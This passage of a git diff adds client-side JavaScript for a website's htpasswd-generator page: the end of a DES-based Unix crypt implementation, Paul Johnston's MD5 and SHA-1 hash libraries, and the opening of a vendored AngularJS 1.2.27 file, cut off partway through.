0x00200010,0x00200110,0x00280010,0x00280110, + 0x01200010,0x01200110,0x01280010,0x01280110, + 0x00000200,0x00000300,0x00080200,0x00080300, + 0x01000200,0x01000300,0x01080200,0x01080300, + 0x00000210,0x00000310,0x00080210,0x00080310, + 0x01000210,0x01000310,0x01080210,0x01080310, + 0x00200200,0x00200300,0x00280200,0x00280300, + 0x01200200,0x01200300,0x01280200,0x01280300, + 0x00200210,0x00200310,0x00280210,0x00280310, + 0x01200210,0x01200310,0x01280210,0x01280310 ); + this.skb[7]=new Array( + 0x00000000,0x04000000,0x00040000,0x04040000, + 0x00000002,0x04000002,0x00040002,0x04040002, + 0x00002000,0x04002000,0x00042000,0x04042000, + 0x00002002,0x04002002,0x00042002,0x04042002, + 0x00000020,0x04000020,0x00040020,0x04040020, + 0x00000022,0x04000022,0x00040022,0x04040022, + 0x00002020,0x04002020,0x00042020,0x04042020, + 0x00002022,0x04002022,0x00042022,0x04042022, + 0x00000800,0x04000800,0x00040800,0x04040800, + 0x00000802,0x04000802,0x00040802,0x04040802, + 0x00002800,0x04002800,0x00042800,0x04042800, + 0x00002802,0x04002802,0x00042802,0x04042802, + 0x00000820,0x04000820,0x00040820,0x04040820, + 0x00000822,0x04000822,0x00040822,0x04040822, + 0x00002820,0x04002820,0x00042820,0x04042820, + 0x00002822,0x04002822,0x00042822,0x04042822 ); +this.SPtrans=new Array(0,0,0,0,0,0,0,0); + this.SPtrans[0]=new Array( + 0x00820200,0x00020000,0x80800000,0x80820200, + 0x00800000,0x80020200,0x80020000,0x80800000, + 0x80020200,0x00820200,0x00820000,0x80000200, + 0x80800200,0x00800000,0x00000000,0x80020000, + 0x00020000,0x80000000,0x00800200,0x00020200, + 0x80820200,0x00820000,0x80000200,0x00800200, + 0x80000000,0x00000200,0x00020200,0x80820000, + 0x00000200,0x80800200,0x80820000,0x00000000, + 0x00000000,0x80820200,0x00800200,0x80020000, + 0x00820200,0x00020000,0x80000200,0x00800200, + 0x80820000,0x00000200,0x00020200,0x80800000, + 0x80020200,0x80000000,0x80800000,0x00820000, + 0x80820200,0x00020200,0x00820000,0x80800200, + 0x00800000,0x80000200,0x80020000,0x00000000, + 0x00020000,0x00800000,0x80800200,0x00820200, + 0x80000000,0x80820000,0x00000200,0x80020200 ); + this.SPtrans[1]=new Array( + 0x10042004,0x00000000,0x00042000,0x10040000, + 0x10000004,0x00002004,0x10002000,0x00042000, + 0x00002000,0x10040004,0x00000004,0x10002000, + 0x00040004,0x10042000,0x10040000,0x00000004, + 0x00040000,0x10002004,0x10040004,0x00002000, + 0x00042004,0x10000000,0x00000000,0x00040004, + 0x10002004,0x00042004,0x10042000,0x10000004, + 0x10000000,0x00040000,0x00002004,0x10042004, + 0x00040004,0x10042000,0x10002000,0x00042004, + 0x10042004,0x00040004,0x10000004,0x00000000, + 0x10000000,0x00002004,0x00040000,0x10040004, + 0x00002000,0x10000000,0x00042004,0x10002004, + 0x10042000,0x00002000,0x00000000,0x10000004, + 0x00000004,0x10042004,0x00042000,0x10040000, + 0x10040004,0x00040000,0x00002004,0x10002000, + 0x10002004,0x00000004,0x10040000,0x00042000 ); + this.SPtrans[2]=new Array( + 0x41000000,0x01010040,0x00000040,0x41000040, + 0x40010000,0x01000000,0x41000040,0x00010040, + 0x01000040,0x00010000,0x01010000,0x40000000, + 0x41010040,0x40000040,0x40000000,0x41010000, + 0x00000000,0x40010000,0x01010040,0x00000040, + 0x40000040,0x41010040,0x00010000,0x41000000, + 0x41010000,0x01000040,0x40010040,0x01010000, + 0x00010040,0x00000000,0x01000000,0x40010040, + 0x01010040,0x00000040,0x40000000,0x00010000, + 0x40000040,0x40010000,0x01010000,0x41000040, + 0x00000000,0x01010040,0x00010040,0x41010000, + 0x40010000,0x01000000,0x41010040,0x40000000, + 0x40010040,0x41000000,0x01000000,0x41010040, + 0x00010000,0x01000040,0x41000040,0x00010040, + 0x01000040,0x00000000,0x41010000,0x40000040, + 0x41000000,0x40010040,0x00000040,0x01010000 ); + this.SPtrans[3]=new Array( + 0x00100402,0x04000400,0x00000002,0x04100402, + 0x00000000,0x04100000,0x04000402,0x00100002, + 0x04100400,0x04000002,0x04000000,0x00000402, + 0x04000002,0x00100402,0x00100000,0x04000000, + 0x04100002,0x00100400,0x00000400,0x00000002, + 0x00100400,0x04000402,0x04100000,0x00000400, + 0x00000402,0x00000000,0x00100002,0x04100400, + 0x04000400,0x04100002,0x04100402,0x00100000, + 0x04100002,0x00000402,0x00100000,0x04000002, + 0x00100400,0x04000400,0x00000002,0x04100000, + 0x04000402,0x00000000,0x00000400,0x00100002, + 0x00000000,0x04100002,0x04100400,0x00000400, + 0x04000000,0x04100402,0x00100402,0x00100000, + 0x04100402,0x00000002,0x04000400,0x00100402, + 0x00100002,0x00100400,0x04100000,0x04000402, + 0x00000402,0x04000000,0x04000002,0x04100400 ); + this.SPtrans[4]=new Array( + 0x02000000,0x00004000,0x00000100,0x02004108, + 0x02004008,0x02000100,0x00004108,0x02004000, + 0x00004000,0x00000008,0x02000008,0x00004100, + 0x02000108,0x02004008,0x02004100,0x00000000, + 0x00004100,0x02000000,0x00004008,0x00000108, + 0x02000100,0x00004108,0x00000000,0x02000008, + 0x00000008,0x02000108,0x02004108,0x00004008, + 0x02004000,0x00000100,0x00000108,0x02004100, + 0x02004100,0x02000108,0x00004008,0x02004000, + 0x00004000,0x00000008,0x02000008,0x02000100, + 0x02000000,0x00004100,0x02004108,0x00000000, + 0x00004108,0x02000000,0x00000100,0x00004008, + 0x02000108,0x00000100,0x00000000,0x02004108, + 0x02004008,0x02004100,0x00000108,0x00004000, + 0x00004100,0x02004008,0x02000100,0x00000108, + 0x00000008,0x00004108,0x02004000,0x02000008 ); + + this.SPtrans[5]=new Array( + 0x20000010,0x00080010,0x00000000,0x20080800, + 0x00080010,0x00000800,0x20000810,0x00080000, + 0x00000810,0x20080810,0x00080800,0x20000000, + 0x20000800,0x20000010,0x20080000,0x00080810, + 0x00080000,0x20000810,0x20080010,0x00000000, + 0x00000800,0x00000010,0x20080800,0x20080010, + 0x20080810,0x20080000,0x20000000,0x00000810, + 0x00000010,0x00080800,0x00080810,0x20000800, + 0x00000810,0x20000000,0x20000800,0x00080810, + 0x20080800,0x00080010,0x00000000,0x20000800, + 0x20000000,0x00000800,0x20080010,0x00080000, + 0x00080010,0x20080810,0x00080800,0x00000010, + 0x20080810,0x00080800,0x00080000,0x20000810, + 0x20000010,0x20080000,0x00080810,0x00000000, + 0x00000800,0x20000010,0x20000810,0x20080800, + 0x20080000,0x00000810,0x00000010,0x20080010 ); + this.SPtrans[6]=new Array( + 0x00001000,0x00000080,0x00400080,0x00400001, + 0x00401081,0x00001001,0x00001080,0x00000000, + 0x00400000,0x00400081,0x00000081,0x00401000, + 0x00000001,0x00401080,0x00401000,0x00000081, + 0x00400081,0x00001000,0x00001001,0x00401081, + 0x00000000,0x00400080,0x00400001,0x00001080, + 0x00401001,0x00001081,0x00401080,0x00000001, + 0x00001081,0x00401001,0x00000080,0x00400000, + 0x00001081,0x00401000,0x00401001,0x00000081, + 0x00001000,0x00000080,0x00400000,0x00401001, + 0x00400081,0x00001081,0x00001080,0x00000000, + 0x00000080,0x00400001,0x00000001,0x00400080, + 0x00000000,0x00400081,0x00400080,0x00001080, + 0x00000081,0x00001000,0x00401081,0x00400000, + 0x00401080,0x00000001,0x00001001,0x00401081, + 0x00400001,0x00401080,0x00401000,0x00001001 ); + this.SPtrans[7]=new Array( + 0x08200020,0x08208000,0x00008020,0x00000000, + 0x08008000,0x00200020,0x08200000,0x08208020, + 0x00000020,0x08000000,0x00208000,0x00008020, + 0x00208020,0x08008020,0x08000020,0x08200000, + 0x00008000,0x00208020,0x00200020,0x08008000, + 0x08208020,0x08000020,0x00000000,0x00208000, + 0x08000000,0x00200000,0x08008020,0x08200020, + 0x00200000,0x00008000,0x08208000,0x00000020, + 0x00200000,0x00008000,0x08000020,0x08208020, + 0x00008020,0x08000000,0x00000000,0x00208000, + 0x08200020,0x08008020,0x08008000,0x00200020, + 0x08208000,0x00000020,0x00200020,0x08008000, + 0x08208020,0x00200000,0x08200000,0x08000020, + 0x00208000,0x00008020,0x08008020,0x08200000, + 0x00000020,0x08208000,0x00208020,0x00000000, + 0x08000000,0x08200020,0x00008000,0x00208020 ); +this.cov_2char=new Array( + 0x2E,0x2F,0x30,0x31,0x32,0x33,0x34,0x35, + 0x36,0x37,0x38,0x39,0x41,0x42,0x43,0x44, + 0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C, + 0x4D,0x4E,0x4F,0x50,0x51,0x52,0x53,0x54, + 0x55,0x56,0x57,0x58,0x59,0x5A,0x61,0x62, + 0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A, + 0x6B,0x6C,0x6D,0x6E,0x6F,0x70,0x71,0x72, + 0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7A ); +this.byteToUnsigned=bTU; +this.fourBytesToInt=fBTI; +this.intToFourBytes=iTFB; +this.PERM_OP=P_P; +this.HPERM_OP=H_P; +this.des_set_key=d_s_k; +this.D_ENCRYPT=D_E; +this.body=bdy; +this.randChar=rC; +this.crypt=cript; +this.displayPassword=dP; +} +Javacrypt=new Crypt(); \ No newline at end of file diff --git a/assets/pages/htpasswd-generator/md5.js b/assets/pages/htpasswd-generator/md5.js new file mode 100644 index 000000000..34e0b5a03 --- /dev/null +++ b/assets/pages/htpasswd-generator/md5.js @@ -0,0 +1,256 @@ +/* + * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message + * Digest Algorithm, as defined in RFC 1321. + * Version 2.1 Copyright (C) Paul Johnston 1999 - 2002. + * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet + * Distributed under the BSD License + * See http://pajhome.org.uk/crypt/md5 for more info. + */ + +/* + * Configurable variables. You may need to tweak these to be compatible with + * the server-side, but the defaults work in most cases. + */ +var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */ +var b64pad = "=";/* base-64 pad character. "=" for strict RFC compliance */ +var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */ + +/* + * These are the functions you'll usually want to call + * They take string arguments and return either hex or base-64 encoded strings + */ +function hex_md5(s){ return binl2hex(core_md5(str2binl(s), s.length * chrsz));} +function b64_md5(s){ return binl2b64(core_md5(str2binl(s), s.length * chrsz));} +function str_md5(s){ return binl2str(core_md5(str2binl(s), s.length * chrsz));} +function hex_hmac_md5(key, data) { return binl2hex(core_hmac_md5(key, data)); } +function b64_hmac_md5(key, data) { return binl2b64(core_hmac_md5(key, data)); } +function str_hmac_md5(key, data) { return binl2str(core_hmac_md5(key, data)); } + +/* + * Perform a simple self-test to see if the VM is working + */ +function md5_vm_test() +{ + return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72"; +} + +/* + * Calculate the MD5 of an array of little-endian words, and a bit length + */ +function core_md5(x, len) +{ + /* append padding */ + x[len >> 5] |= 0x80 << ((len) % 32); + x[(((len + 64) >>> 9) << 4) + 14] = len; + + var a = 1732584193; + var b = -271733879; + var c = -1732584194; + var d = 271733878; + + for(var i = 0; i < x.length; i += 16) + { + var olda = a; + var oldb = b; + var oldc = c; + var oldd = d; + + a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936); + d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586); + c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819); + b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330); + a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897); + d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426); + c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341); + b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983); + a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416); + d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417); + c = md5_ff(c, d, a, b, x[i+10], 17, -42063); + b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162); + a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682); + d = md5_ff(d, a, b, c, x[i+13], 12, -40341101); + c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290); + b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329); + + a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510); + d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632); + c = md5_gg(c, d, a, b, x[i+11], 14, 643717713); + b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302); + a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691); + d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083); + c = md5_gg(c, d, a, b, x[i+15], 14, -660478335); + b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848); + a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438); + d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690); + c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961); + b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501); + a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467); + d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784); + c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473); + b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734); + + a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558); + d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463); + c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562); + b = md5_hh(b, c, d, a, x[i+14], 23, -35309556); + a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060); + d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353); + c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632); + b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640); + a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174); + d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222); + c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979); + b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189); + a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487); + d = md5_hh(d, a, b, c, x[i+12], 11, -421815835); + c = md5_hh(c, d, a, b, x[i+15], 16, 530742520); + b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651); + + a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844); + d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415); + c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905); + b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055); + a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571); + d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606); + c = md5_ii(c, d, a, b, x[i+10], 15, -1051523); + b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799); + a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359); + d = md5_ii(d, a, b, c, x[i+15], 10, -30611744); + c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380); + b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649); + a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070); + d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379); + c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259); + b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551); + + a = safe_add(a, olda); + b = safe_add(b, oldb); + c = safe_add(c, oldc); + d = safe_add(d, oldd); + } + return Array(a, b, c, d); + +} + +/* + * These functions implement the four basic operations the algorithm uses. + */ +function md5_cmn(q, a, b, x, s, t) +{ + return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b); +} +function md5_ff(a, b, c, d, x, s, t) +{ + return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t); +} +function md5_gg(a, b, c, d, x, s, t) +{ + return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t); +} +function md5_hh(a, b, c, d, x, s, t) +{ + return md5_cmn(b ^ c ^ d, a, b, x, s, t); +} +function md5_ii(a, b, c, d, x, s, t) +{ + return md5_cmn(c ^ (b | (~d)), a, b, x, s, t); +} + +/* + * Calculate the HMAC-MD5, of a key and some data + */ +function core_hmac_md5(key, data) +{ + var bkey = str2binl(key); + if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz); + + var ipad = Array(16), opad = Array(16); + for(var i = 0; i < 16; i++) + { + ipad[i] = bkey[i] ^ 0x36363636; + opad[i] = bkey[i] ^ 0x5C5C5C5C; + } + + var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz); + return core_md5(opad.concat(hash), 512 + 128); +} + +/* + * Add integers, wrapping at 2^32. This uses 16-bit operations internally + * to work around bugs in some JS interpreters. + */ +function safe_add(x, y) +{ + var lsw = (x & 0xFFFF) + (y & 0xFFFF); + var msw = (x >> 16) + (y >> 16) + (lsw >> 16); + return (msw << 16) | (lsw & 0xFFFF); +} + +/* + * Bitwise rotate a 32-bit number to the left. + */ +function bit_rol(num, cnt) +{ + return (num << cnt) | (num >>> (32 - cnt)); +} + +/* + * Convert a string to an array of little-endian words + * If chrsz is ASCII, characters >255 have their hi-byte silently ignored. + */ +function str2binl(str) +{ + var bin = Array(); + var mask = (1 << chrsz) - 1; + for(var i = 0; i < str.length * chrsz; i += chrsz) + bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (i%32); + return bin; +} + +/* + * Convert an array of little-endian words to a string + */ +function binl2str(bin) +{ + var str = ""; + var mask = (1 << chrsz) - 1; + for(var i = 0; i < bin.length * 32; i += chrsz) + str += String.fromCharCode((bin[i>>5] >>> (i % 32)) & mask); + return str; +} + +/* + * Convert an array of little-endian words to a hex string. + */ +function binl2hex(binarray) +{ + var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef"; + var str = ""; + for(var i = 0; i < binarray.length * 4; i++) + { + str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) + + hex_tab.charAt((binarray[i>>2] >> ((i%4)*8 )) & 0xF); + } + return str; +} + +/* + * Convert an array of little-endian words to a base-64 string + */ +function binl2b64(binarray) +{ + var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + var str = ""; + for(var i = 0; i < binarray.length * 4; i += 3) + { + var triplet = (((binarray[i >> 2] >> 8 * ( i %4)) & 0xFF) << 16) + | (((binarray[i+1 >> 2] >> 8 * ((i+1)%4)) & 0xFF) << 8 ) + | ((binarray[i+2 >> 2] >> 8 * ((i+2)%4)) & 0xFF); + for(var j = 0; j < 4; j++) + { + if(i * 8 + j * 6 > binarray.length * 32) str += b64pad; + else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F); + } + } + return str; +} diff --git a/assets/pages/htpasswd-generator/sha1.js b/assets/pages/htpasswd-generator/sha1.js new file mode 100644 index 000000000..b9352d1fd --- /dev/null +++ b/assets/pages/htpasswd-generator/sha1.js @@ -0,0 +1,202 @@ +/* + * A JavaScript implementation of the Secure Hash Algorithm, SHA-1, as defined + * in FIPS PUB 180-1 + * Version 2.1-BETA Copyright Paul Johnston 2000 - 2002. + * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet + * Distributed under the BSD License + * See http://pajhome.org.uk/crypt/md5 for details. + */ + +/* + * Configurable variables. You may need to tweak these to be compatible with + * the server-side, but the defaults work in most cases. + */ +var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */ +var b64pad = "=";/* base-64 pad character. "=" for strict RFC compliance */ +var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */ + +/* + * These are the functions you'll usually want to call + * They take string arguments and return either hex or base-64 encoded strings + */ +function hex_sha1(s){return binb2hex(core_sha1(str2binb(s),s.length * chrsz));} +function b64_sha1(s){return binb2b64(core_sha1(str2binb(s),s.length * chrsz));} +function str_sha1(s){return binb2str(core_sha1(str2binb(s),s.length * chrsz));} +function hex_hmac_sha1(key, data){ return binb2hex(core_hmac_sha1(key, data));} +function b64_hmac_sha1(key, data){ return binb2b64(core_hmac_sha1(key, data));} +function str_hmac_sha1(key, data){ return binb2str(core_hmac_sha1(key, data));} + +/* + * Perform a simple self-test to see if the VM is working + */ +function sha1_vm_test() +{ + return hex_sha1("abc") == "a9993e364706816aba3e25717850c26c9cd0d89d"; +} + +/* + * Calculate the SHA-1 of an array of big-endian words, and a bit length + */ +function core_sha1(x, len) +{ + /* append padding */ + x[len >> 5] |= 0x80 << (24 - len % 32); + x[((len + 64 >> 9) << 4) + 15] = len; + + var w = Array(80); + var a = 1732584193; + var b = -271733879; + var c = -1732584194; + var d = 271733878; + var e = -1009589776; + + for(var i = 0; i < x.length; i += 16) + { + var olda = a; + var oldb = b; + var oldc = c; + var oldd = d; + var olde = e; + + for(var j = 0; j < 80; j++) + { + if(j < 16) w[j] = x[i + j]; + else w[j] = rol(w[j-3] ^ w[j-8] ^ w[j-14] ^ w[j-16], 1); + var t = safe_add(safe_add(rol(a, 5), sha1_ft(j, b, c, d)), + safe_add(safe_add(e, w[j]), sha1_kt(j))); + e = d; + d = c; + c = rol(b, 30); + b = a; + a = t; + } + + a = safe_add(a, olda); + b = safe_add(b, oldb); + c = safe_add(c, oldc); + d = safe_add(d, oldd); + e = safe_add(e, olde); + } + return Array(a, b, c, d, e); + +} + +/* + * Perform the appropriate triplet combination function for the current + * iteration + */ +function sha1_ft(t, b, c, d) +{ + if(t < 20) return (b & c) | ((~b) & d); + if(t < 40) return b ^ c ^ d; + if(t < 60) return (b & c) | (b & d) | (c & d); + return b ^ c ^ d; +} + +/* + * Determine the appropriate additive constant for the current iteration + */ +function sha1_kt(t) +{ + return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : + (t < 60) ? -1894007588 : -899497514; +} + +/* + * Calculate the HMAC-SHA1 of a key and some data + */ +function core_hmac_sha1(key, data) +{ + var bkey = str2binb(key); + if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz); + + var ipad = Array(16), opad = Array(16); + for(var i = 0; i < 16; i++) + { + ipad[i] = bkey[i] ^ 0x36363636; + opad[i] = bkey[i] ^ 0x5C5C5C5C; + } + + var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz); + return core_sha1(opad.concat(hash), 512 + 160); +} + +/* + * Add integers, wrapping at 2^32. This uses 16-bit operations internally + * to work around bugs in some JS interpreters. + */ +function safe_add(x, y) +{ + var lsw = (x & 0xFFFF) + (y & 0xFFFF); + var msw = (x >> 16) + (y >> 16) + (lsw >> 16); + return (msw << 16) | (lsw & 0xFFFF); +} + +/* + * Bitwise rotate a 32-bit number to the left. + */ +function rol(num, cnt) +{ + return (num << cnt) | (num >>> (32 - cnt)); +} + +/* + * Convert an 8-bit or 16-bit string to an array of big-endian words + * In 8-bit function, characters >255 have their hi-byte silently ignored. + */ +function str2binb(str) +{ + var bin = Array(); + var mask = (1 << chrsz) - 1; + for(var i = 0; i < str.length * chrsz; i += chrsz) + bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i%32); + return bin; +} + +/* + * Convert an array of big-endian words to a string + */ +function binb2str(bin) +{ + var str = ""; + var mask = (1 << chrsz) - 1; + for(var i = 0; i < bin.length * 32; i += chrsz) + str += String.fromCharCode((bin[i>>5] >>> (24 - i%32)) & mask); + return str; +} + +/* + * Convert an array of big-endian words to a hex string. + */ +function binb2hex(binarray) +{ + var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef"; + var str = ""; + for(var i = 0; i < binarray.length * 4; i++) + { + str += hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8+4)) & 0xF) + + hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 )) & 0xF); + } + return str; +} + +/* + * Convert an array of big-endian words to a base-64 string + */ +function binb2b64(binarray) +{ + var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + var str = ""; + for(var i = 0; i < binarray.length * 4; i += 3) + { + var triplet = (((binarray[i >> 2] >> 8 * (3 - i %4)) & 0xFF) << 16) + | (((binarray[i+1 >> 2] >> 8 * (3 - (i+1)%4)) & 0xFF) << 8 ) + | ((binarray[i+2 >> 2] >> 8 * (3 - (i+2)%4)) & 0xFF); + for(var j = 0; j < 4; j++) + { + if(i * 8 + j * 6 > binarray.length * 32) str += b64pad; + else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F); + } + } + return str; +} diff --git a/assets/pages/iid-generator/idd-ng.js b/assets/pages/iid-generator/idd-ng.js new file mode 100644 index 000000000..6c218c5ff --- /dev/null +++ b/assets/pages/iid-generator/idd-ng.js @@ -0,0 +1,7250 @@ +/* + AngularJS v1.2.27 + (c) 2010-2014 Google, Inc. http://angularjs.org + License: MIT +*/ +(function (W, X, u) { + "use strict"; + function z(b) { + return function () { + var a = arguments[0], + c, + a = + "[" + + (b ? b + ":" : "") + + a + + "] http://errors.angularjs.org/1.2.27/" + + (b ? b + "/" : "") + + a; + for (c = 1; c < arguments.length; c++) + a = + a + + (1 == c ? "?" : "&") + + "p" + + (c - 1) + + "=" + + encodeURIComponent( + "function" == typeof arguments[c] + ? arguments[c].toString().replace(/ \{[\s\S]*$/, "") + : "undefined" == typeof arguments[c] + ? "undefined" + : "string" != typeof arguments[c] + ? JSON.stringify(arguments[c]) + : arguments[c] + ); + return Error(a); + }; + } + function Sa(b) { + if (null == b || Ja(b)) return !1; + var a = b.length; + return 1 === b.nodeType && a + ? !0 + : G(b) || + L(b) || + 0 === a || + ("number" === typeof a && 0 < a && a - 1 in b); + } + function r(b, a, c) { + var d; + if (b) + if (N(b)) + for (d in b) + "prototype" == d || + "length" == d || + "name" == d || + (b.hasOwnProperty && !b.hasOwnProperty(d)) || + a.call(c, b[d], d); + else if (L(b) || Sa(b)) for (d = 0; d < b.length; d++) a.call(c, b[d], d); + else if (b.forEach && b.forEach !== r) b.forEach(a, c); + else for (d in b) b.hasOwnProperty(d) && a.call(c, b[d], d); + return b; + } + function Xb(b) { + var a = [], + c; + for (c in b) b.hasOwnProperty(c) && a.push(c); + return a.sort(); + } + function Sc(b, a, c) { + for (var d = Xb(b), e = 0; e < d.length; e++) a.call(c, b[d[e]], d[e]); + return d; + } + function Yb(b) { + return function (a, c) { + b(c, a); + }; + } + function ib() { + for (var b = na.length, a; b; ) { + b--; + a = na[b].charCodeAt(0); + if (57 == a) return (na[b] = "A"), na.join(""); + if (90 == a) na[b] = "0"; + else return (na[b] = String.fromCharCode(a + 1)), na.join(""); + } + na.unshift("0"); + return na.join(""); + } + function Zb(b, a) { + a ? (b.$$hashKey = a) : delete b.$$hashKey; + } + function E(b) { + var a = b.$$hashKey; + r(arguments, function (a) { + a !== b && + r(a, function (a, c) { + b[c] = a; + }); + }); + Zb(b, a); + return b; + } + function U(b) { + return parseInt(b, 10); + } + function $b(b, a) { + return E(new (E(function () {}, { prototype: b }))(), a); + } + function v() {} + function ga(b) { + return b; + } + function aa(b) { + return function () { + return b; + }; + } + function F(b) { + return "undefined" === typeof b; + } + function D(b) { + return "undefined" !== typeof b; + } + function T(b) { + return null != b && "object" === typeof b; + } + function G(b) { + return "string" === typeof b; + } + function jb(b) { + return "number" === typeof b; + } + function va(b) { + return "[object Date]" === Ba.call(b); + } + function N(b) { + return "function" === typeof b; + } + function kb(b) { + return "[object RegExp]" === Ba.call(b); + } + function Ja(b) { + return b && b.document && b.location && b.alert && b.setInterval; + } + function Tc(b) { + return !(!b || !(b.nodeName || (b.prop && b.attr && b.find))); + } + function Uc(b, a, c) { + var d = []; + r(b, function (b, f, g) { + d.push(a.call(c, b, f, g)); + }); + return d; + } + function Ta(b, a) { + if (b.indexOf) return b.indexOf(a); + for (var c = 0; c < b.length; c++) if (a === b[c]) return c; + return -1; + } + function Ua(b, a) { + var c = Ta(b, a); + 0 <= c && b.splice(c, 1); + return a; + } + function Ka(b, a, c, d) { + if (Ja(b) || (b && b.$evalAsync && b.$watch)) throw Va("cpws"); + if (a) { + if (b === a) throw Va("cpi"); + c = c || []; + d = d || []; + if (T(b)) { + var e = Ta(c, b); + if (-1 !== e) return d[e]; + c.push(b); + d.push(a); + } + if (L(b)) + for (var f = (a.length = 0); f < b.length; f++) + (e = Ka(b[f], null, c, d)), + T(b[f]) && (c.push(b[f]), d.push(e)), + a.push(e); + else { + var g = a.$$hashKey; + L(a) + ? (a.length = 0) + : r(a, function (b, c) { + delete a[c]; + }); + for (f in b) + (e = Ka(b[f], null, c, d)), + T(b[f]) && (c.push(b[f]), d.push(e)), + (a[f] = e); + Zb(a, g); + } + } else if ((a = b)) + L(b) + ? (a = Ka(b, [], c, d)) + : va(b) + ? (a = new Date(b.getTime())) + : kb(b) + ? ((a = RegExp(b.source, b.toString().match(/[^\/]*$/)[0])), + (a.lastIndex = b.lastIndex)) + : T(b) && (a = Ka(b, {}, c, d)); + return a; + } + function ha(b, a) { + if (L(b)) { + a = a || []; + for (var c = 0; c < b.length; c++) a[c] = b[c]; + } else if (T(b)) + for (c in ((a = a || {}), b)) + !lb.call(b, c) || + ("$" === c.charAt(0) && "$" === c.charAt(1)) || + (a[c] = b[c]); + return a || b; + } + function Ca(b, a) { + if (b === a) return !0; + if (null === b || null === a) return !1; + if (b !== b && a !== a) return !0; + var c = typeof b, + d; + if (c == typeof a && "object" == c) + if (L(b)) { + if (!L(a)) return !1; + if ((c = b.length) == a.length) { + for (d = 0; d < c; d++) if (!Ca(b[d], a[d])) return !1; + return !0; + } + } else { + if (va(b)) + return va(a) + ? (isNaN(b.getTime()) && isNaN(a.getTime())) || + b.getTime() === a.getTime() + : !1; + if (kb(b) && kb(a)) return 